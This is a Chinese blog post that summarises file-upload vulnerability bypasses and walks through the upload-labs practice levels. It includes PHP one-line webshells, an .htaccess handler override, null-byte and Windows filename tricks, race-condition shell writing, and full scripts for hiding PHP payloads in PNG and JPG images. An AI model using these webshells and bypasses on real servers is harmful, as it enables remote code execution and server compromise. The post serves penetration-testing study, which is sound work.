文件上传漏洞总结

文件上传漏洞

Posted by mr_king on January 12, 2021

文件上传漏洞总结

[TOC]

文件上传漏洞利用条件

  • 上传的文件能被WEB服务器当做脚本执行
  • 能访问上传文件(知道上传文件路径且能访问)

服务器上传文件命名规则

  • 上传文件名和服务器文件名一致

  • 上传文件名和服务器名不一致(随机,时间戳等),但后缀一致

  • 上传文件名和服务器名不一致(随机,时间戳等),后缀也不一样

漏洞成因

由于开发者对用户上传的文件控制不足或者处理缺陷,从而导致用户可以越过其自身权限向服务器上传可执行的动态脚本。

漏洞利用

文件上传漏洞我们一般会上传一句话木马,使用菜刀或者蚁剑连接getshell。

问题:

  • 文件能上传待到服务器
  • 脚本文件可呗服务器解析,执行,通常会结合文件包含和文件解析漏洞。

文件上传过滤及绕过方法

1.客户端检测

  • 特点:前端检测,在点击上传的时,客户端没有向服务器发送任何消息之前,就提示上传文件非法
  • 绕过方法:
    • 禁用浏览器JavaScript脚本
    • 先改成合法后缀名,在发送过程中截包,修改会正常后缀

2.Content-Type检测文件类型

  • 原理:服务器对HTTP报头中的Content-Type字段进行检测
  • 绕过方法:使用截包工具对Content-Type字段进行修改

    3.文件内容检测

  • 原理:使用一些函数或其他方法检测文件内容特征
  • 绕过方法:截包之后添加伪造的文件头或直接制作图片马

4.后缀黑名单

  • 原理:利用正则表达式,过滤上传的文件后缀名,在黑名单之中的文件后缀不允许上传

  • 绕过方法:

    • 利用黑名单的漏网之鱼,利用操作系统文件命名规则,利用Web服务组件解析漏洞

      1.大小写混用pHpaSp之类(Linux下也可用)

      2.如果服务器是windows,可以利用windows特性,windows会自动去掉不符合命名规则后缀的后缀名

      test.asp.
          
      test.asp(空格)
          
      test.php.
          
      test.php 
          
      test.php::$DATA
      

      3.能被解析的不常见拓展名

      jsp:jspx、jspf、jsps
      asp:asa、cer、aspx、cdx、ashx、htr、asax
      php:php3、php4、php5、php7、phpt、phtml
          
      

      4.配合文件包含

      上传包含木马的文件,使用文件包含,执行其中脚本

      5.条件竞争

      1.首先上传一个写Shell的php
      <?php fputs(fopen('shell.php',w),'<?php @eval($_POST["cmd"]);?>');?>,
      while1循环访问该文件,持续上传,直到竞争完成文件创建。
           
      2.循环上传一句话,持续尝试访问该页面。
      

      6.00截断

      两种情况一种是%00一种是0x00
      前者用在GET传参%00作为URL会被URL解码对应的是\0
      后者用于POSTPOST传送的字符不会经过URL解码所以需要将其改为十六进制的0x00
      00截断的目的在于,(php基于C当PHP中的函数将\0视为字符串的终止因此只有当文件名变量可控并且不会进行去空字符操作的时候同时有函数调用这个字符串的时候才有效
      

      7.配置文件

      • 1.httpd.conf

      ​ 如果其中包含AddHandler php5-script .php只要文件名 中包含.php就会以php文件执行

      ​ 如果其中包含AddType application/x-httpd-php .jpg即使文件扩展为.jpg也会按照php执行,该选项是与类型表相关的,描述的是扩展名与文件类型之间的关系,在客户端与服务端协商的时候,客户端会描述需要什么类型的字段,服务端调取相应后缀名的文件。

      • 2.htaccess

        作用于当前目录及其子目录的配置文件

      • 3.user.ini

        通过.user.ini 绕过文件上传过滤(或者说叫解析漏洞),与.htaccess文件利用类似,但是user.ini文件和htaccess相比:在修改后不用重启服务器,只需要等待刷新时间即可

        在上传的.user.ini文件中写入auto_prepend_file=01.gif这样就可以在该目录下的所有php文件中包含01.gif

以下以upload-labs演示

1.前端脚本检测拓展名

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

可以看出此为典型的前端文件后缀名判断,为白名单判断,,只允许上传后缀为.jpg .png .gif 的文件。但前端过滤,我们可以直接注释掉前端js代码,或者删除触发条件,或者使用burpsuit抓 包进行修改。上传服务器可执行的脚本文件,进行getshell。

upload-labs-pass-01

方法一:

1.定位到上传文件的控制按钮,找到触发点

sgc7xH.md.png

2.去掉触发点或者去掉js代码,上传服务器可解析的脚本文件

<?php
error_reporting(0);
@eval($_POST['cmd']);
phpinfo();
?>

上传典型的一句话木马,为了演示成功加入解析phpinfo()函数

sg211g.png

3.上传成功,找到图片地址,并访问(单击右键复制图像地址)

sgfMh6.png

成功解析,可以getshell

方法二:

利用burpsuit抓包绕过(将脚本文件重命名为白名单允许文件,绕过前端js检测)

利用burpsuit抓包修改文件后缀名绕过。

sg5CtI.png

sg5O5n.png

2.后端检测Content-Type类型

主要代码

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];

发现只是单单判断了文件的content-type属于白名单过虑,可以使用burpsuit修改content-type来绕过

s2mnln.png

将它修改为白名单中允许的类型,成功上传,解析成功

3.后端黑名单限制,禁止上传asp、aspx、php、jsp后缀的文件

主要代码

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }

可以看出,后端为黑名单过滤,只过滤了.asp,.aspx,.php,.jsp文件,如果服务器支持解析php2、php3、phtml等文件后缀,那么我们可以上传后缀为这些的脚本文件,实现getshell。

服务器apache支持解析php3、phtml

在apache服务文件夹下找到配置文件httpd.conf

添加

AddType application/x-httpd-php .php .php3 .phtml

重启apache服务

这样apache服务器就可以解析php3及phtml文件了

4.后端黑名单限制,禁止上传了很多后缀的文件

主要代码

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

可以看出禁用了很多常见的后缀

但我们可以看出它未禁用.hataccess


.hataccess简介

​ .htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。


我们可以利用这个特性,将jpg文件解析问服务器可执行的脚本文件

<FilesMatch "eval.jpg">
  SetHandler application/x-httpd-php
</FileMatch>

上传此文件后在上传eval.jpg文件后,服务器将会把eval.jpg文件解析成为PHP文件。

sW3SZd.png

5.大小写绕过


利用条件:服务器解析不区分大小写

apache:

加载mod_speling模块: LoadModule speling_module /usr/lib/apache2/modules/mod_speling.so

开启模块: CheckSpelling on


主要代码

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

可以看出没有过滤PHP,可以使用大写绕过。

sWc27R.png

6.空格绕过


利用条件:

windows

利用windows特性,windows会自动去掉后缀的空格


主要代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

可以看出,过滤很完整,但未删除后缀的空格,可以利用windows特性,上传php+空格的文件名,达到getshell。

shdD6s.png

shdWhF.png

7.文件名后缀点绕过(windows特性)


利用条件:windows

windows特性,会自动去掉后缀名中最后的”.”


主要代码

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

黑名单过滤,但未考虑将文件后缀最后的点去掉,,可以利用这点,绕过黑名单限制

上传php. 文件

shwV3Q.png

shwKH0.png

8. ::$DATA 进行绕过(windows)


利用条件:windows ntfs文件系统

Windows下NTFS文件系统的一个特性,即NTFS文件系统的存储数据流的一个属性 DATA 时,当我们访问a.php::$DATA,就是请求 a.php 本身的数据。


主要代码:

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空

未过滤::DATA,上传文件后缀带::DATA的脚本,绕过黑名单检测

s4A9sI.md.png

可以看到上传后后缀是不带有::$DATA的,所以访问时,,后缀是不需要加::$DATA

9.点+空格+点绕过(windows特性)


利用条件:windows

windows会自动将文件后缀最后的点去掉,会将文件后缀的最后的空格去掉。


主要代码

   if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

应为代码对文件后缀去点去空格处理了,,所以可以利用上面的windows特性,构造点+空格+点的文件后缀绕过黑名单限制,最后上传到服务器名为.php,完成绕过

s4Vern.png

10.双写绕过


利用条件:过滤文件名时,使用空格替换


主要代码

$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);

后端将上传的文件匹配到黑名单的后缀并替换为空(不区分大写小写),所以可以使用pphphp文件后缀,当过滤掉php后,后缀为php,达到绕过效果。

s4nrkt.png

11.%00截断绕过


利用条件:

  1. php版本小于5.3.4
  2. php的magic_quotes_gpc为OFF状态

%00截断原理

截断的核心,就是chr(0)这个字符 这个字符不为空(Null),也不是空字符(“”),更不是空格。 当程序在输出含有chr(0)变量时 chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生


主要代码

   $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

白名单过滤,但直接拼接了文件后缀名,可以利用 %00截断

构造图片马,修改上传路径,使用%00截断

s4G4HS.png

访问1.php

s4GjBT.png

12.%00截断post版

主要代码

$ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

使用psot方式传递了储存地址,利用%00截断

但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。

s4NmUU.png

php16进制编码为706870,找到对应位置,将后一位修改为00

s4NaPe.png

访问22.php

s4N6Vf.png

13.检测文件前两个字节


利用条件:图片马+文件包含


主要代码

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

只读取了前两个字节,判断是否为图片文件的文件头

jpg/jpeg:255216

png:13780

gif:7173

直接找一张正常的图片,以文本形式打开,看,在最后添加脚本,

sI6Sc6.png

上传后,利用文件包含,执行图片中的脚本,实现getshell

sIgMkQ.png


php文件包含常见函数

Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。 Require:跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。 Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。 Require_once*:这个函数跟require的区别 跟上面我所讲的include和include_once是一样的


包含之后,可以看到,图片中的脚本被执行

sIRAqf.png

14判断文件大小


利用条件:图片马+文件包含


主要代码

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。

可以看出后端判断了文件类型及图片的大小,构造图片马,绕过

15.判断文件类型


利用条件:图片马+文件包含


主要代码

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

exif_imagetype — 判断一个图像的类型

利用图片马包含绕过。

16.二次渲染绕过


利用条件:可以绕过二次渲染的图片马+文件包含


主要代码

 // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
imagecreatefrom #系列函数用于从文件或 URL 载入一幅图像,成功返回图像资源,失败则返回一个空字符串。
该系列函数有
imagecreatefromgif()#:创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg()#:创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng()#:创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
imagecreatefromwbmp()#:创建一块画布,并从 WBMP 文件或 URL 地址载入一副图像
imagecreatefromstring()#:创建一块画布,并从字符串中的图像流新建一副图像

代码对后缀名和文件类型都进行了很严格的控制,而且在后面还对图片进行了二次编译

jpgpng很麻烦,gif只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以了

jpg 和png 的处理方法 参照https://xz.aliyun.com/t/2657 讲的很细致

1.上传gif文件

上传gif文件,下载对比

sTLUEQ.png

可以看出gif经过二次渲染后相同的地方挺多,所以只需在相同处插入一句话木马,就可绕过二次渲染。

第一次构造失败了,但可以看出只有<被渲染去掉了,,位移一位再次写入。

sTXzB8.png

sTjuEF.png

成功绕过二次渲染,解析了脚本文件

2.上传png文件

png较麻烦,直接上脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行脚本,会生成1.png的文件,

sTzYD0.png

上传此文件,下载后查看16 进制文本

sTzYD0.png

3.上传jpg文件

上传任意一张jpg文件,下载到本地

使用脚本处理此文件 php jpg_payload.php 1.jpg

<?php
	/*

	The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
	It is necessary that the size and quality of the initial image are the same as those of the processed image.

	1) Upload an arbitrary image via secured files upload script
	2) Save the processed image and launch:
	jpg_payload.php <jpg_name.jpg>

	In case of successful injection you will get a specially crafted image, which should be uploaded again.

	Since the most straightforward injection method is used, the following problems can occur:
	1) After the second processing the injected data may become partially corrupted.
	2) The jpg_payload.php script outputs "Something's wrong".
	If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

	Sergey Bobrov @Black2Fan.

	See also:
	https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

	*/

	$miniPayload = "<?=phpinfo();?>";


	if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    	die('php-gd is not installed');
	}
	
	if(!isset($argv[1])) {
		die('php jpg_payload.php <jpg_name.jpg>');
	}

	set_error_handler("custom_error_handler");

	for($pad = 0; $pad < 1024; $pad++) {
		$nullbytePayloadSize = $pad;
		$dis = new DataInputStream($argv[1]);
		$outStream = file_get_contents($argv[1]);
		$extraBytes = 0;
		$correctImage = TRUE;

		if($dis->readShort() != 0xFFD8) {
			die('Incorrect SOI marker');
		}

		while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
			$marker = $dis->readByte();
			$size = $dis->readShort() - 2;
			$dis->skip($size);
			if($marker === 0xDA) {
				$startPos = $dis->seek();
				$outStreamTmp = 
					substr($outStream, 0, $startPos) . 
					$miniPayload . 
					str_repeat("\0",$nullbytePayloadSize) . 
					substr($outStream, $startPos);
				checkImage('_'.$argv[1], $outStreamTmp, TRUE);
				if($extraBytes !== 0) {
					while((!$dis->eof())) {
						if($dis->readByte() === 0xFF) {
							if($dis->readByte !== 0x00) {
								break;
							}
						}
					}
					$stopPos = $dis->seek() - 2;
					$imageStreamSize = $stopPos - $startPos;
					$outStream = 
						substr($outStream, 0, $startPos) . 
						$miniPayload . 
						substr(
							str_repeat("\0",$nullbytePayloadSize).
								substr($outStream, $startPos, $imageStreamSize),
							0,
							$nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
								substr($outStream, $stopPos);
				} elseif($correctImage) {
					$outStream = $outStreamTmp;
				} else {
					break;
				}
				if(checkImage('payload_'.$argv[1], $outStream)) {
					die('Success!');
				} else {
					break;
				}
			}
		}
	}
	unlink('payload_'.$argv[1]);
	die('Something\'s wrong');

	function checkImage($filename, $data, $unlink = FALSE) {
		global $correctImage;
		file_put_contents($filename, $data);
		$correctImage = TRUE;
		imagecreatefromjpeg($filename);
		if($unlink)
			unlink($filename);
		return $correctImage;
	}

	function custom_error_handler($errno, $errstr, $errfile, $errline) {
		global $extraBytes, $correctImage;
		$correctImage = FALSE;
		if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
			if(isset($m[1])) {
				$extraBytes = (int)$m[1];
			}
		}
	}

	class DataInputStream {
		private $binData;
		private $order;
		private $size;

		public function __construct($filename, $order = false, $fromString = false) {
			$this->binData = '';
			$this->order = $order;
			if(!$fromString) {
				if(!file_exists($filename) || !is_file($filename))
					die('File not exists ['.$filename.']');
				$this->binData = file_get_contents($filename);
			} else {
				$this->binData = $filename;
			}
			$this->size = strlen($this->binData);
		}

		public function seek() {
			return ($this->size - strlen($this->binData));
		}

		public function skip($skip) {
			$this->binData = substr($this->binData, $skip);
		}

		public function readByte() {
			if($this->eof()) {
				die('End Of File');
			}
			$byte = substr($this->binData, 0, 1);
			$this->binData = substr($this->binData, 1);
			return ord($byte);
		}

		public function readShort() {
			if(strlen($this->binData) < 2) {
				die('End Of File');
			}
			$short = substr($this->binData, 0, 2);
			$this->binData = substr($this->binData, 2);
			if($this->order) {
				$short = (ord($short[1]) << 8) + ord($short[0]);
			} else {
				$short = (ord($short[0]) << 8) + ord($short[1]);
			}
			return $short;
		}

		public function eof() {
			return !$this->binData||(strlen($this->binData) === 0);
		}
	}
?>

上传处理后的文件

s7nHL8.png

17.条件竞争


利用条件:服务器端先存储,之后再进行处理


主要代码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

文件上传到服务器后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。

通过burpsuit不断重发上传文件的包,我们可以不断访问我们上传的脚本文件,实现成功访问。

sLPi0H.png

sLCbm4.png

18.条件竞争2


利用条件:文件上传到服务器后再处理+apache解析漏洞

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断


主要代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{

  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
};

